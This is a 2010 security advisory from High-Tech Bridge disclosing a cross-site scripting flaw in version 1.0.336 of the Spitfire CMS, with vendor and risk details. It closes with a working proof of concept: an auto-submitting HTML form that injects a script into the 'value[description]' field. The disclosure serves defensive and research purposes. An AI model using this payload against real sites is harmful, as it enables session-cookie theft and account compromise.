XSS vulnerability in Spitfire

Type securityvulns
Reporter Securityvulns
Modified 2010-07-23T00:00:00


Vulnerability ID: HTB22484 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_spitfire_1.html Product: Spitfire Vendor: Claus Muus ( http://spitfire.clausmuus.de/ ) Vulnerable Version: 1.0.336 and Probably Prior Versions Vendor Notification: 08 July 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. "tpl_element_settings_action.php" script to properly sanitize user-supplied input in "value[description]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/cms//edit/tpl_element_settings_action.php" method="post" name="main" > <input type="hidden" name="action" value="save" /> <input type="hidden" name="value[description]" value='descr2"><script>alert(document.cookie)</script>' /> </form> <script> document.main.submit(); </script>